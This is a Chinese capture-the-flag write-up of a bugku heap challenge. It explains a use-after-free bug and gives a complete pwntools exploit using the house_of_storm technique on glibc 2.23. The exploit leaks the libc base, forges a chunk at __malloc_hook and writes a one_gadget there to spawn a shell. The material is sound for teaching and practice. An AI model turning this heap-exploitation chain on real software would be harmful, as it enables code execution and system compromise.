-
-
[原创]一题house_of_storm的简单利用
-
2021-10-9 23:01 28110
-
[原创]一题house_of_storm的简单利用
第一次写wp,理论知识不太牢靠,求大佬轻喷(理论可以看看我的参考链接)。
切记ASLR功能一定要开!!!!
切记ASLR功能一定要开!!!!
切记ASLR功能一定要开!!!!
题目来自bugku[https://ctf.bugku.com/challenges/detail/id/323.html]
0x01 首先使用checksce检查elf的保护
发现保护基本上全开了(堆题的常规操作)
0X02 使用IDA64查看ELF的功能,查看主要功能
main函数
使用mallopt(1, 0)关闭了fastbin,其余就是正常的菜单选择以及缓冲区设置。第一个puts提示了这题是house_of_storm。
menue函数
普通的菜单输出,就不上图了。
add函数
正常的堆分配,堆大小由用户输入,但是限制大小在0-0x410。并将堆大小存储在ptr_size数组之中。
delete函数
该题漏洞点所在,free之后未置零,存在UAF漏洞。
edit函数
堆块编辑功能,这里的大小从ptr_size数组中获取,用户无法控制,且不存在one-by-null漏洞。
show函数
这题存在show函数,可以打印堆块内容,可以结合UAF漏洞,泄露出libc地址。
0x03 编写exp
首先老套路,根据IDA写出相应的功能代码,准备好环境。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import * p = process( "./simple_storm" ) """ p = remote("114.67.246.176",10901) """ elf = ELF( "./simple_storm" ) libc = ELF( "/root/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6" ) pid = proc.pidof(p) context.log_level = "debug" def add(size): p.sendlineafter( "Your choice?\n" , str ( 1 )) p.sendlineafter( "Size?\n" , str (size)) def delete(idx): p.sendlineafter( "Your choice?\n" , str ( 2 )) p.sendlineafter( "Index?\n" , str (idx)) def edit(idx, content): p.sendlineafter( "Your choice?\n" , str ( 3 )) p.sendlineafter( "Index?\n" , str (idx)) p.sendlineafter( "Content?\n" , content) def show(idx): p.sendlineafter( "Your choice?\n" , str ( 4 )) p.sendlineafter( "Index?\n" , str (idx)) def exit(): p.sendlineafter( "Your choice?\n" , str ( 5 )) |
现在,我们先创建0x410和0x400大小的两个堆,然后在它们的后面各自插入一个任意大小的堆,防止被合并。先释放小的堆,再释放大的堆。(这是为了不满足(unsigned long) (size) < (unsigned long) (bck->bk->size)这个条件,从而进入else的区块。)第九行的代码,是为了使得原来的chunk2进入large bin中,第十行的代码为了将新申请的0x410大小的堆块进入unsorted bin。由于存在UAF漏洞,所以我们可以直接show(4)查看main_arena+88的地址(详见unsorted_bin leak)。然后构造我们想要获取的堆块的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | add( 0x410 ) #0 add( 0x10 ) #1 防止合并 add( 0x400 ) #2 add( 0x10 ) #3 防止合并 delete( 2 ) delete( 0 ) add( 0x410 ) #4 delete( 4 ) offset = 0x3c4b78 show( 4 ) main_arena = u64(p.recvuntil( "\x7f" )[ - 6 :].ljust( 8 , "\x00" )) libc_base = main_arena - offset print ( "libc_base is :" , hex (libc_base)) malloc_hook = libc.symbols[ "__malloc_hook" ] + libc_base print ( "malloc_hook is :" , hex (malloc_hook)) fake_chunk = malloc_hook - 0x30 print ( "fake_chunk is :" , hex (fake_chunk)) |
使用UAF漏洞,构造unsorted_bin中的堆块写入我们想要申请到地址。然后构造large_bin中的bk以及bk_nextsize的值。bk_nextsize最后会成为我们fake_chunk的size,一般为0x55或者0x56。(再次提醒,一定要开aslr,而且等级2.不然的话堆地址不随机,永远0x55,一辈子都成功不了。。。。。。。)接着的malloc(0x48),即会触发house_of_storm漏洞,在fake_chunk写入size,又会申请到该chunk。最后通过将one_gadget写入malloc_hook的地址,通过一次malloc即可获得shell。
1 2 3 4 5 6 7 8 | edit( 0 ,p64( 0 ) + p64(fake_chunk)) edit( 2 ,p64( 0 ) + p64(fake_chunk + 8 ) + p64( 0 ) + p64(fake_chunk - 0x18 - 5 )) add( 0x48 ) #5 edit( 5 ,(p64( 0 ) * 4 ) + p64(libc_base + 0x4527a )) add( 0x10 ) p.interactive() |
0x04 写在最后
这题的libc为2.23最后打成功的libc版本在我的exp中有。这算第一次不依靠WP做出的堆题,纪念一下。同时提醒自己记住PIE与aslr的关系,错失一血。。。。。。
这题需要一点运气,需要fake_chunk的size为0x56才能成功。大佬们说是因为
1 | assert (!victim || chunk_is_mmapped (mem2chunk (victim))||ar_ptr = = arena_for_chunk (mem2chunk (victim))); |
的原因。我没看过源码,,不太清楚。但是我使用gdb发现,如果0x55的话,会进行and rax 0xfffffc000000的操作,并且再取rax中的值。rax原本为你所申请的堆块地址,经过该操作后,后6位为0,地址空间中没有该地址,所以最后会报段错误。
参考链接:
https://a1ex.online/2020/10/07/house-of-storm/
https://bbs.pediy.com/thread-257648.htm
https://www.anquanke.com/post/id/203096
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。